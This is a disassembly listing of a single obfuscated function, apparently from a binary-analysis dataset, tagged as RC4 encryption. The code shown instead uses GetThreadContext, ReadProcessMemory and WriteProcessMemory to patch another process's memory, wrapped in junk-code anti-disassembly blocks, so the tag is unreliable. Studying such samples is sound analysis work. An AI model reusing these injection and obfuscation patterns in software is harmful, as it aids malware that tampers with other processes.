Function at 0x494a8a
Capabilities:
Encrypt data using rc4 prga

Disassembly:
add byte [ebx + 0x452b004b], bh
cld
shl eax, 2
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x4bbaa4]
lea eax, [edx + ecx*4 + 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x4bbaa4]
lea eax, [edx + ecx*4]
push eax
call fcn.004955e0
add esp, 0xc
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 0x2d4
push ebx
push esi
push edi
mov ax, word [0x4b87c4]
mov word [ebp - 8], ax
mov cl, byte [0x4b87c6]
mov byte [ebp - 6], cl
cmp dword [ebp + 0x10], 0
dec ebx
add byte [eax + 0x7d83fa4d], cl
adc byte [eax], al
jne 0x494ba4
pushfd
pushal
jmp 0x494ae2
sub edx, edx
jo 0x494ac8
jmp 0x494ad9
xor ecx, ecx
je 0x494ac0
jmp 0x494ad2
stc
xor ecx, 3
je 0x494a58
jmp 0x494acf
jmp 0x494add
jae 0x494acb
sbb bl, bl
sbb bl, bl
xor ebx, ebx
jmp 0x494ac2
jmp 0x494abc
sbb al, 0xdb
jmp 0x494ae5
jmp 0x494ab6
popal
popfd
push 0x2cc
push 0
lea edx, [ebp - 0x2d4]
push edx
call fcn.004959d0
add esp, 0xc
pushal
xor eax, eax
jne 0x494b04
jmp 0x494b19
jmp 0x494b39
xor eax, eax
jne 0x494b21
jp 0x494b17
jo 0x494b1b
push cs
jmp 0x494b1c
jb 0x494b20
jns 0x494b05
call dword [0x74097900]
invalid
jns 0x494b22
je 0x494b0b
jmp 0x494aa4
xchg ebx, ebx
jp 0x494b10
mov al, byte [0x85c76133]
sub al, 0xfd
invalid
xor esp, dword [ecx - 0x39]
test dword [edi*8 + 0x1ffff], ebp
add dword [eax], eax
popal
mov dword [ebp - 0x2d4], 0x10001
pushal
xor eax, eax
jne 0x494b34
jmp 0x494b49
jmp 0x494b69
xor eax, eax
jne 0x494b51
jp 0x494b47
jo 0x494b4b
jmp 0x494b4c
jb 0x494b50
jns 0x494b35
call dword [0x74097900]
invalid
jns 0x494b52
je 0x494b3b
jmp 0x494ad4
xchg ebx, ebx
jp 0x494b40
mov al, byte [0x858d6133]
sub al, 0xfd
invalid
xor esp, dword [ecx - 0x73]
test dword [edi*8 - 0x74af0001], ebp
dec ebp
or byte [ebx - 0xadfbaf], cl
adc eax, sym.imp.KERNEL32.dll_GetThreadContext
popal
lea eax, [ebp - 0x2d4]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
pushfd
pushal
jmp 0x494b96
sub edx, edx
jo 0x494b7c
jmp 0x494b8d
xor ecx, ecx
je 0x494b74
jmp 0x494b86
stc
xor ecx, 3
je 0x494b0c
jmp 0x494b83
jmp 0x494b91
jae 0x494b7f
sbb bl, bl
sbb bl, bl
xor ebx, ebx
jmp 0x494b76
jmp 0x494b70
sbb al, 0xdb
jmp 0x494b99
jmp 0x494b6a
popal
popfd
mov eax, dword [ebp - 0x21c]
mov dword [ebp + 0x10], eax
mov ecx, dword [ebp + 0xc]
and ecx, 0xff
test ecx, ecx
je 0x494c46
lea edx, [ebp - 4]
push edx
push 2
push 0x4bbaa8
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
pushal
xor eax, eax
jne 0x494bd7
jmp 0x494bec
jmp 0x494c0c
xor eax, eax
jne 0x494bf4
jp 0x494bea
jo 0x494bee
jmp 0x494bef
jb 0x494bf3
jns 0x494bd8
call dword [0x74097900]
invalid
jns 0x494bf5
je 0x494bde
jmp 0x494b77
xchg ebx, ebx
jp 0x494be3
mov al, byte [0x458d6133]
xor esp, dword [ecx - 0x73]
inc ebp
popal
lea eax, [ebp - 4]
cld
push eax
push 2
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
pushfd
pushal
jmp 0x494c3f
or byte [ebx + 0x15ff5108], cl
pop esp
or dword [ebx], 0x2beb609c
sal byte [eax + 0xe], cl
sub edx, edx
jo 0x494c25
jmp 0x494c36
xor ecx, ecx
je 0x494c1d
jmp 0x494c2f
stc
xor ecx, 3
je 0x494bb5
jmp 0x494c2c
jmp 0x494c3a
jae 0x494c28
sbb bl, bl
sbb bl, bl
xor ebx, ebx
jmp 0x494c1f
jmp 0x494c19
sbb al, 0xdb
jmp 0x494c42
jmp 0x494c13
popal
popfd
jmp 0x494c95
lea edx, [ebp - 4]
push edx
push 2
push 0x4bbaa8
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
pushfd
pushal
jmp 0x494c90
sub edx, edx
jo 0x494c76
jmp 0x494c87
xor ecx, ecx
je 0x494c6e
jmp 0x494c80
stc
xor ecx, 3
je 0x494c06
jmp 0x494c7d
jmp 0x494c8b
jae 0x494c79
sbb bl, bl
sbb bl, bl
xor ebx, ebx
jmp 0x494c70
jmp 0x494c6a
sbb al, 0xdb
jmp 0x494c93
jmp 0x494c64
popal
popfd
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret